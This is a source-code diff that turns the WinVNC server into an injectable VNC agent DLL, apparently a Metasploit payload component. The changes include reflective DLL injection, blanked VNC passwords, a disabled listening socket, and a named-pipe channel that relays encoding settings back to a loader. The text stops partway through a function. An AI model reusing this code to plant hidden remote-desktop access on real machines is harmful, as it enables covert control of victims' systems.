m_client->m_protocol_minor_version = 8;
|
||||
// TightVNC protocol extensions are not enabled yet
|
||||
m_client->m_protocol_tightvnc = FALSE;
|
||||
// Tell the server that this client is ok
|
||||
m_server->Authenticated(m_client->GetClientId());
|
||||
}
|
||||
|
||||
// Authenticated OK - remove from blacklist and remove timeout
|
||||
m_server->RemAuthHostsBlacklist(m_client->GetClientName());
|
||||
|
@ -633,9 +650,11 @@ vncClientThread::run(void *arg)
|
|||
}
|
||||
else
|
||||
{
|
||||
strcpy(desktopname, "WinVNC");
|
||||
strcpy(desktopname, "");
|
||||
}
|
||||
|
||||
if( m_lpAgentContext->bInit )
|
||||
{
|
||||
// Send the server format message to the client
|
||||
rfbServerInitMsg server_ini;
|
||||
server_ini.format = m_client->m_buffer->GetLocalFormat();
|
||||
|
@ -667,7 +686,60 @@ vncClientThread::run(void *arg)
|
|||
m_server->RemoveClient(m_client->GetClientId());
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BOOL shapeupdates_requested = FALSE;
|
||||
rfbPixelFormat pf;
|
||||
|
||||
// restore the streams pixel format...
|
||||
memcpy( &pf, &m_lpAgentContext->PixelFormat, sizeof(rfbPixelFormat) );
|
||||
|
||||
m_client->m_buffer->SetClientFormat( pf );
|
||||
// seems to introduce an issue with the RealVNC viewer. (leave commented out).
|
||||
//m_client->m_palettechanged = TRUE;
|
||||
|
||||
// restore the rest of the streams context...
|
||||
m_client->m_buffer->SetQualityLevel( m_lpAgentContext->dwQualityLevel );
|
||||
m_client->m_buffer->SetCompressLevel( m_lpAgentContext->dwCompressLevel );
|
||||
m_client->m_buffer->EnableXCursor( m_lpAgentContext->bEncodingXCursor );
|
||||
m_client->m_buffer->EnableRichCursor( m_lpAgentContext->bEncodingRichCursor );
|
||||
m_client->m_buffer->EnableLastRect( m_lpAgentContext->bEncodingLastRect );
|
||||
|
||||
if( m_lpAgentContext->bEncodingRichCursor )
|
||||
shapeupdates_requested = TRUE;
|
||||
|
||||
m_client->m_use_NewFBSize = m_lpAgentContext->bEncodingNewfbSize;
|
||||
|
||||
m_client->m_use_PointerPos = FALSE;
|
||||
m_client->m_cursor_update_pending = FALSE;
|
||||
m_client->m_cursor_update_sent = FALSE;
|
||||
m_client->m_cursor_pos_changed = FALSE;
|
||||
|
||||
if( shapeupdates_requested && m_lpAgentContext->bEncodingPointerPos )
|
||||
{
|
||||
m_client->m_use_PointerPos = TRUE;
|
||||
m_client->SetCursorPosChanged();
|
||||
}
|
||||
|
||||
if( m_lpAgentContext->dwEncoding == rfbEncodingCopyRect || m_lpAgentContext->bUseCopyRect )
|
||||
m_client->m_copyrect_use = TRUE;
|
||||
|
||||
// For now as we cant maintain zlib dictionary synchronization we default to rfbEncodingHextile
|
||||
// This only effects the agent on the second or more injectionand not the first interactive session being viewed.
|
||||
if( m_lpAgentContext->dwEncoding == rfbEncodingZlib || m_lpAgentContext->dwEncoding == rfbEncodingTight || m_lpAgentContext->dwEncoding == rfbEncodingZlibHex )
|
||||
{
|
||||
m_client->m_buffer->SetEncoding( rfbEncodingHextile );
|
||||
// Some experimental work for maintaining the zlib dictionaries has been done but is not for use.
|
||||
//m_client->m_buffer->SetEncoding( m_lpAgentContext->dwEncoding );
|
||||
//m_client->m_buffer->UpdateZLibDictionary( m_lpAgentContext );
|
||||
}
|
||||
else
|
||||
{
|
||||
// rfbEncodingRaw, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile
|
||||
m_client->m_buffer->SetEncoding( m_lpAgentContext->dwEncoding );
|
||||
}
|
||||
}
|
||||
|
||||
// UNLOCK INITIAL SETUP
|
||||
|
@ -693,10 +765,7 @@ vncClientThread::run(void *arg)
|
|||
{
|
||||
rfbClientToServerMsg msg;
|
||||
|
||||
// Ensure that we're running in the correct desktop
|
||||
if (!vncService::InputDesktopSelected())
|
||||
if (!vncService::SelectDesktop(NULL))
|
||||
break;
|
||||
vncdll_getinputdesktop( FALSE );
|
||||
|
||||
// Try to read a message ID
|
||||
if (!m_socket->ReadExact((char *)&msg.type, sizeof(msg.type)))
|
||||
|
@ -730,6 +799,10 @@ vncClientThread::run(void *arg)
|
|||
{
|
||||
connected = FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETPIXELFORMAT, (BYTE *)&msg.spf.format, sizeof(PIXELFORMAT) );
|
||||
}
|
||||
|
||||
// Set the palette-changed flag, just in case...
|
||||
m_client->m_palettechanged = TRUE;
|
||||
|
@ -786,6 +859,8 @@ vncClientThread::run(void *arg)
|
|||
{
|
||||
// Client wants us to use CopyRect
|
||||
m_client->m_copyrect_use = TRUE;
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETCOPYRECTUSE, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -793,7 +868,8 @@ vncClientThread::run(void *arg)
|
|||
if (Swap32IfLE(encoding) == rfbEncodingXCursor) {
|
||||
m_client->m_buffer->EnableXCursor(TRUE);
|
||||
shapeupdates_requested = TRUE;
|
||||
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGXCURSOR, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -801,7 +877,8 @@ vncClientThread::run(void *arg)
|
|||
if (Swap32IfLE(encoding) == rfbEncodingRichCursor) {
|
||||
m_client->m_buffer->EnableRichCursor(TRUE);
|
||||
shapeupdates_requested = TRUE;
|
||||
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGRICHCURSOR, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -812,7 +889,7 @@ vncClientThread::run(void *arg)
|
|||
// Client specified encoding-specific compression level
|
||||
int level = (int)(Swap32IfLE(encoding) - rfbEncodingCompressLevel0);
|
||||
m_client->m_buffer->SetCompressLevel(level);
|
||||
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETCOMPRESSLEVEL, (BYTE *)&level, sizeof(int) );
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -823,27 +900,31 @@ vncClientThread::run(void *arg)
|
|||
// Client specified image quality level used for JPEG compression
|
||||
int level = (int)(Swap32IfLE(encoding) - rfbEncodingQualityLevel0);
|
||||
m_client->m_buffer->SetQualityLevel(level);
|
||||
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETQUALITYLEVEL, (BYTE *)&level, sizeof(int) );
|
||||
continue;
|
||||
}
|
||||
|
||||
// Is this a PointerPos encoding request?
|
||||
if (Swap32IfLE(encoding) == rfbEncodingPointerPos) {
|
||||
pointerpos_requested = TRUE;
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGPOINTERPOS, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
// Is this a LastRect encoding request?
|
||||
if (Swap32IfLE(encoding) == rfbEncodingLastRect) {
|
||||
m_client->m_buffer->EnableLastRect(TRUE);
|
||||
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGLASTRECT, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
// Is this a NewFBSize encoding request?
|
||||
if (Swap32IfLE(encoding) == rfbEncodingNewFBSize) {
|
||||
m_client->m_use_NewFBSize = TRUE;
|
||||
|
||||
BOOL res = TRUE;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGNEWFBSIZE, (BYTE *)&res, sizeof(BOOL) );
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -854,6 +935,8 @@ vncClientThread::run(void *arg)
|
|||
|
||||
// No, so try the buffer to see if this encoding will work...
|
||||
if (m_client->m_buffer->SetEncoding(Swap32IfLE(encoding))) {
|
||||
DWORD enc = Swap32IfLE(encoding);
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODING, (BYTE *)&enc, sizeof(DWORD) );
|
||||
encoding_set = TRUE;
|
||||
}
|
||||
|
||||
|
@ -878,6 +961,11 @@ vncClientThread::run(void *arg)
|
|||
{
|
||||
connected = FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
DWORD enc = rfbEncodingRaw;
|
||||
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODING, (BYTE *)&enc, sizeof(DWORD) );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1567,7 +1655,7 @@ vncClient::Init(vncServer *server,
|
|||
VSocket *socket,
|
||||
BOOL reverse,
|
||||
BOOL shared,
|
||||
vncClientId newid)
|
||||
vncClientId newid, AGENT_CTX * lpAgentContext)
|
||||
{
|
||||
// Save the server id;
|
||||
m_server = server;
|
||||
|
@ -1596,7 +1684,7 @@ vncClient::Init(vncServer *server,
|
|||
m_thread = new vncClientThread;
|
||||
if (m_thread == NULL)
|
||||
return FALSE;
|
||||
return ((vncClientThread *)m_thread)->Init(this, m_server, m_socket, reverse, shared);
|
||||
return ((vncClientThread *)m_thread)->Init(this, m_server, m_socket, reverse, shared, lpAgentContext );
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
@ -1821,9 +1909,9 @@ vncClient::SendRFBMsg(CARD8 type, BYTE *buffer, int buflen)
|
|||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL vncClient::SendUpdate()
|
||||
{
|
||||
|
||||
#ifndef _DEBUG
|
||||
try
|
||||
{
|
||||
|
@ -1838,6 +1926,10 @@ BOOL vncClient::SendUpdate()
|
|||
rectlist toBeSentList; // List of rectangles to actually send
|
||||
vncRegion toBeDone; // Region to check
|
||||
|
||||
// force these to be updated regardless...
|
||||
//m_cursor_update_pending = TRUE;
|
||||
//m_cursor_pos_changed = TRUE;
|
||||
|
||||
// Prepare to send cursor position update if necessary
|
||||
if (m_cursor_pos_changed) {
|
||||
POINT cursor_pos;
|
||||
|
@ -1948,6 +2040,7 @@ BOOL vncClient::SendUpdate()
|
|||
// Otherwise, send <number of rectangles> header
|
||||
rfbFramebufferUpdateMsg header;
|
||||
header.nRects = Swap16IfLE(numrects);
|
||||
|
||||
if (!SendRFBMsg(rfbFramebufferUpdate, (BYTE *) &header, sz_rfbFramebufferUpdateMsg))
|
||||
return TRUE;
|
||||
|
||||
|
@ -1998,7 +2091,6 @@ BOOL
|
|||
vncClient::SendRectangles(rectlist &rects)
|
||||
{
|
||||
RECT rect;
|
||||
|
||||
// Work through the list of rectangles, sending each one
|
||||
while(!rects.empty())
|
||||
{
|
||||
|
@ -2009,7 +2101,6 @@ vncClient::SendRectangles(rectlist &rects)
|
|||
rects.pop_front();
|
||||
}
|
||||
rects.clear();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
@ -2021,7 +2112,6 @@ BOOL vncClient::SendRectangle(RECT &rect)
|
|||
omni_mutex_lock l(m_regionLock);
|
||||
sharedRect = m_server->GetSharedRect();
|
||||
}
|
||||
|
||||
IntersectRect(&rect, &rect, &sharedRect);
|
||||
// Get the buffer to encode the rectangle
|
||||
UINT bytes = m_buffer->TranslateRect(
|
||||
|
|
|
@ -48,6 +48,7 @@ typedef std::list<vncClientId> vncClientList;
|
|||
|
||||
// Includes
|
||||
#include "stdhdrs.h"
|
||||
#include "common.h"
|
||||
#include "VSocket.h"
|
||||
#include <omnithread.h>
|
||||
|
||||
|
@ -75,7 +76,7 @@ public:
|
|||
VSocket *socket,
|
||||
BOOL reverse,
|
||||
BOOL shared,
|
||||
vncClientId newid);
|
||||
vncClientId newid, AGENT_CTX * lpAgentContext);
|
||||
|
||||
// Kill
|
||||
// The server uses this to close the client socket, causing the
|
||||
|
|
|
@ -46,6 +46,8 @@
|
|||
#include <fstream.h>
|
||||
#endif
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
// Constants
|
||||
const UINT RFB_SCREEN_UPDATE = RegisterWindowMessage("WinVNC.Update.DrawRect");
|
||||
const UINT RFB_COPYRECT_UPDATE = RegisterWindowMessage("WinVNC.Update.CopyRect");
|
||||
|
@ -1144,8 +1146,6 @@ LRESULT CALLBACK DesktopWndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lPar
|
|||
|
||||
ATOM m_wndClass = 0;
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL vncDesktop::InitWindow()
|
||||
{
|
||||
if (m_wndClass == 0) {
|
||||
|
|
|
@ -710,8 +710,36 @@ vncEncodeTight::SendGradientRect(BYTE *dest, int w, int h)
|
|||
Z_FILTERED);
|
||||
}
|
||||
|
||||
int
|
||||
vncEncodeTight::CompressData(BYTE *dest, int streamId, int dataLen,
|
||||
/*
|
||||
VOID vncEncodeTight::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
do
|
||||
{
|
||||
for( int i = 0; i < 4; i++ )
|
||||
{
|
||||
if( !lpAgentContext->dictionaries[i] )
|
||||
continue;
|
||||
|
||||
setdictionary( &m_zsStruct[i], lpAgentContext->dictionaries[i]->bDictBuffer, lpAgentContext->dictionaries[i]->dwDictLength );
|
||||
}
|
||||
} while( 0 );
|
||||
}
|
||||
|
||||
VOID vncEncodeTight::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
do
|
||||
{
|
||||
for( int i = 0; i < 4; i++ )
|
||||
{
|
||||
if( !m_zsActive[i] )
|
||||
continue;
|
||||
SendZlibDictionary( lpAgentContext, i, &m_zsStruct[i] );
|
||||
}
|
||||
} while( 0 );
|
||||
}
|
||||
*/
|
||||
|
||||
int vncEncodeTight::CompressData(BYTE *dest, int streamId, int dataLen,
|
||||
int zlibLevel, int zlibStrategy)
|
||||
{
|
||||
if (dataLen < TIGHT_MIN_TO_COMPRESS) {
|
||||
|
|
|
@ -94,6 +94,9 @@ public:
|
|||
vncEncodeTight();
|
||||
~vncEncodeTight();
|
||||
|
||||
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
|
||||
virtual void Init();
|
||||
virtual const char* GetEncodingName() { return "Tight"; }
|
||||
|
||||
|
|
|
@ -264,3 +264,16 @@ vncEncodeZlib::EncodeOneRect(BYTE *source, BYTE *dest, const RECT &rect)
|
|||
totalCompDataLen;
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
VOID vncEncodeZlib::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
if( lpAgentContext->dictionaries[0] )
|
||||
setdictionary( &compStream, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
|
||||
}
|
||||
|
||||
VOID vncEncodeZlib::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
SendZlibDictionary( lpAgentContext, 0, &compStream );
|
||||
}
|
||||
*/
|
|
@ -72,6 +72,9 @@ public:
|
|||
virtual UINT EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const RECT &rect, int offx, int offy);
|
||||
virtual UINT EncodeOneRect(BYTE *source, BYTE *dest, const RECT &rect);
|
||||
|
||||
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
BYTE *m_buffer;
|
||||
|
|
|
@ -150,7 +150,22 @@ vncEncodeZlibHex::EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const R
|
|||
|
||||
return vncEncoder::EncodeRect(source, dest, rect, offx, offy);
|
||||
}
|
||||
/*
|
||||
VOID vncEncodeZlibHex::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
if( lpAgentContext->dictionaries[0] )
|
||||
setdictionary( &compStreamRaw, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
|
||||
|
||||
if( lpAgentContext->dictionaries[1] )
|
||||
setdictionary( &compStreamEncoded, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
|
||||
}
|
||||
|
||||
VOID vncEncodeZlibHex::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
SendZlibDictionary( lpAgentContext, 0, &compStreamRaw );
|
||||
SendZlibDictionary( lpAgentContext, 1, &compStreamEncoded );
|
||||
}
|
||||
*/
|
||||
UINT
|
||||
vncEncodeZlibHex::zlibCompress(BYTE *from_buf, BYTE *to_buf, UINT length, struct z_stream_s *compressor)
|
||||
{
|
||||
|
|
|
@ -78,6 +78,9 @@ public:
|
|||
// virtual UINT EncodeRect(BYTE *source, BYTE *dest, const RECT &rect);
|
||||
virtual UINT EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const RECT &rect, int offx, int offy);
|
||||
|
||||
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
|
||||
protected:
|
||||
virtual UINT zlibCompress(BYTE *from_buf, BYTE *to_buf, UINT length, struct z_stream_s *compressor);
|
||||
|
||||
|
|
|
@ -616,3 +616,52 @@ vncEncoder::FixCursorMask(BYTE *mbits, BYTE *cbits,
|
|||
}
|
||||
}
|
||||
|
||||
/*
|
||||
VOID vncEncoder::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
VOID vncEncoder::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
extern DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength );
|
||||
|
||||
VOID vncEncoder::SendZlibDictionary( AGENT_CTX * lpAgentContext, int id, z_streamp stream )
|
||||
{
|
||||
DICTMSG * dmsg = NULL;
|
||||
BYTE * pDictBuffer = NULL;
|
||||
int dmsgsize = 0;
|
||||
DWORD dwDictLength = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !lpAgentContext || !stream )
|
||||
break;
|
||||
|
||||
getdictionary( stream, &pDictBuffer, &dwDictLength );
|
||||
|
||||
if( !pDictBuffer || !dwDictLength )
|
||||
break;
|
||||
|
||||
dmsgsize = sizeof(DICTMSG) + dwDictLength;
|
||||
|
||||
dmsg = (DICTMSG *)malloc( dmsgsize );
|
||||
if( !dmsg )
|
||||
break;
|
||||
|
||||
dmsg->dwId = id;
|
||||
dmsg->dwDictLength = dwDictLength;
|
||||
|
||||
memcpy( &dmsg->bDictBuffer, pDictBuffer, dwDictLength );
|
||||
|
||||
vncdll_postmessage( lpAgentContext, MESSAGE_SETZLIBDICTIONARY, (BYTE *)dmsg, dmsgsize );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dmsg )
|
||||
free( dmsg );
|
||||
}
|
||||
*/
|
|
@ -39,7 +39,7 @@ class vncEncoder;
|
|||
|
||||
#include "vncBuffer.h"
|
||||
#include "translate.h"
|
||||
|
||||
#include "zlib/zlib.h"
|
||||
// Class definition
|
||||
|
||||
class vncEncoder
|
||||
|
@ -96,6 +96,11 @@ public:
|
|||
BOOL SendEmptyCursorShape(VSocket *outConn);
|
||||
BOOL SendCursorShape(VSocket *outConn, vncDesktop *desktop);
|
||||
|
||||
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
|
||||
VOID SendZlibDictionary( AGENT_CTX * lpAgentContext, int id, z_streamp stream );
|
||||
|
||||
protected:
|
||||
BOOL SetTranslateFunction();
|
||||
|
||||
|
|
|
@ -52,7 +52,8 @@ vncServer::vncServer()
|
|||
m_corbaConn = NULL;
|
||||
//m_httpConn = NULL;
|
||||
m_desktop = NULL;
|
||||
m_name = "";
|
||||
m_name = NULL;
|
||||
SetName("");
|
||||
m_port = DISPLAY_TO_PORT(0);
|
||||
m_port_http = DISPLAY_TO_HPORT(0);
|
||||
m_autoportselect = TRUE;
|
||||
|
@ -61,13 +62,13 @@ vncServer::vncServer()
|
|||
m_beepDisconnect = FALSE;
|
||||
m_auth_hosts = 0;
|
||||
m_blacklist = 0;
|
||||
{
|
||||
vncPasswd::FromClear clearPWD;
|
||||
memcpy(m_password, clearPWD, MAXPWLEN);
|
||||
//{
|
||||
// vncPasswd::FromClear clearPWD;
|
||||
memcpy(m_password, "", MAXPWLEN);
|
||||
m_password_set = FALSE;
|
||||
memcpy(m_password_viewonly, clearPWD, MAXPWLEN);
|
||||
memcpy(m_password_viewonly, "", MAXPWLEN);
|
||||
m_password_viewonly_set = FALSE;
|
||||
}
|
||||
//}
|
||||
m_querysetting = 2;
|
||||
m_querytimeout = 10;
|
||||
m_queryaccept = FALSE;
|
||||
|
@ -196,7 +197,6 @@ vncServer::~vncServer()
|
|||
delete m_clientquitsig;
|
||||
m_clientquitsig = NULL;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Client handling functions
|
||||
|
@ -212,20 +212,15 @@ vncServer::ClientsDisabled()
|
|||
return m_clients_disabled;
|
||||
}
|
||||
|
||||
vncClientId
|
||||
vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared)
|
||||
vncClientId vncServer::AddClient( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
return AddClient(socket, reverse, shared, TRUE, TRUE);
|
||||
}
|
||||
|
||||
vncClientId
|
||||
vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared,
|
||||
BOOL keysenabled, BOOL ptrenabled)
|
||||
{
|
||||
vncClient *client;
|
||||
vncClient *client = NULL;
|
||||
VSocket * socket = NULL;
|
||||
|
||||
omni_mutex_lock l(m_clientsLock);
|
||||
|
||||
socket = new VSocket( &lpAgentContext->info, lpAgentContext->hCloseEvent );
|
||||
|
||||
// Try to allocate a client id...
|
||||
vncClientId clientid = m_nextid;
|
||||
do
|
||||
|
@ -247,11 +242,11 @@ vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared,
|
|||
}
|
||||
|
||||
// Set the client's settings
|
||||
client->EnableKeyboard(keysenabled && m_enable_remote_inputs);
|
||||
client->EnablePointer(ptrenabled && m_enable_remote_inputs);
|
||||
client->EnableKeyboard(TRUE && m_enable_remote_inputs);
|
||||
client->EnablePointer(TRUE && m_enable_remote_inputs);
|
||||
|
||||
// Start the client
|
||||
if (!client->Init(this, socket, reverse, shared, clientid))
|
||||
if (!client->Init(this, socket, TRUE, TRUE, clientid, lpAgentContext ))
|
||||
{
|
||||
// The client will delete the socket for us...
|
||||
delete client;
|
||||
|
|
|
@ -52,6 +52,7 @@ class vncServer;
|
|||
|
||||
// Includes
|
||||
#include "stdhdrs.h"
|
||||
#include "common.h"
|
||||
#include <omnithread.h>
|
||||
#include <list>
|
||||
|
||||
|
@ -73,9 +74,8 @@ public:
|
|||
// Client handling functions
|
||||
virtual void DisableClients(BOOL state);
|
||||
virtual BOOL ClientsDisabled();
|
||||
virtual vncClientId AddClient(VSocket *socket, BOOL reverse, BOOL shared);
|
||||
virtual vncClientId AddClient(VSocket *socket, BOOL reverse, BOOL shared,
|
||||
BOOL keysenabled, BOOL ptrenabled);
|
||||
virtual vncClientId AddClient( AGENT_CTX * lpAgentContext );
|
||||
|
||||
virtual BOOL Authenticated(vncClientId client);
|
||||
virtual void KillClient(vncClientId client);
|
||||
|
||||
|
|
|
@ -289,14 +289,17 @@ vncService::SelectHDESK(HDESK new_desktop)
|
|||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
|
||||
extern HDESK vncdll_getinputdesktop( BOOL bSwitchStation );
|
||||
|
||||
BOOL
|
||||
vncService::SelectDesktop(char *name)
|
||||
{
|
||||
// Are we running on NT?
|
||||
if (IsWinNT())
|
||||
{
|
||||
HDESK desktop;
|
||||
HDESK desktop = vncdll_getinputdesktop( FALSE );
|
||||
|
||||
/*
|
||||
if (name != NULL)
|
||||
{
|
||||
// Attempt to open the named desktop
|
||||
|
@ -314,7 +317,7 @@ vncService::SelectDesktop(char *name)
|
|||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
}*/
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
|
|
|
@ -71,7 +71,7 @@ BOOL vncSockConnectThread::Init(VSocket *socket, vncServer *server)
|
|||
void *vncSockConnectThread::run_undetached(void * arg)
|
||||
{
|
||||
// Go into a loop, listening for connections on the given socket
|
||||
while (!m_shutdown) {
|
||||
/*while (!m_shutdown) {
|
||||
// Accept an incoming connection
|
||||
VSocket *new_socket;
|
||||
if (!m_socket->TryAccept(&new_socket, 100))
|
||||
|
@ -81,7 +81,7 @@ void *vncSockConnectThread::run_undetached(void * arg)
|
|||
// Successful accept - start the client unauthenticated
|
||||
m_server->AddClient(new_socket, FALSE, FALSE);
|
||||
}
|
||||
}
|
||||
}*/
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
|
|
@ -5,87 +5,91 @@
|
|||
* Tested On x86 Windows: - NT4, 2000, XP, 2003, Vista, 2008, 7
|
||||
* Tested On x64 Windows: - 2003, 2008R2, 7
|
||||
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
* Note: Session 0 isolation on Vista and above will prevent accessing the
|
||||
* input desktop from another session (e.g. 1) if the DLL is used from a
|
||||
* service.
|
||||
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
*/
|
||||
|
||||
#include "stdhdrs.h"
|
||||
#include "VSocket.h"
|
||||
#include "common.h"
|
||||
#include "vncServer.h"
|
||||
|
||||
#define VNCDLL_FLAG_DISABLE_SHELL (1 << 0)
|
||||
|
||||
/*
|
||||
* Use Reflective DLL Injection.
|
||||
*/
|
||||
#include "../../meterpreter/source/ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "ReflectiveLoader.c"
|
||||
|
||||
HANDLE hMessageMutex = NULL;
|
||||
|
||||
/*
|
||||
* The termination event set by the client closing the connection.
|
||||
* Post an arbitrary message back to a loader.
|
||||
*/
|
||||
HANDLE hTerminateEvent = NULL;
|
||||
|
||||
/*
|
||||
* Switch to the input desktop and set it as this threads desktop.
|
||||
*/
|
||||
HDESK get_input_desktop( VOID )
|
||||
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
|
||||
{
|
||||
HWINSTA ws = NULL;
|
||||
HWINSTA os = NULL;
|
||||
HDESK ds = NULL;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hPipe = NULL;
|
||||
BYTE * pBuffer = NULL;
|
||||
char cNamedPipe[MAX_PATH] = {0};
|
||||
DWORD dwWritten = 0;
|
||||
DWORD dwLength = 0;
|
||||
|
||||
os = GetProcessWindowStation();
|
||||
ws = OpenWindowStation( "WinSta0", TRUE, MAXIMUM_ALLOWED );
|
||||
if( ws == NULL )
|
||||
do
|
||||
{
|
||||
RevertToSelf();
|
||||
ws = OpenWindowStation( "WinSta0", TRUE, MAXIMUM_ALLOWED );
|
||||
if( !lpAgentContext )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
|
||||
|
||||
dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;
|
||||
|
||||
pBuffer = (BYTE *)malloc( dwLength );
|
||||
if( !pBuffer )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
|
||||
memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
|
||||
memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );
|
||||
|
||||
if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );
|
||||
|
||||
dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
if( hPipe != INVALID_HANDLE_VALUE )
|
||||
break;
|
||||
|
||||
if( GetLastError() != ERROR_PIPE_BUSY )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );
|
||||
|
||||
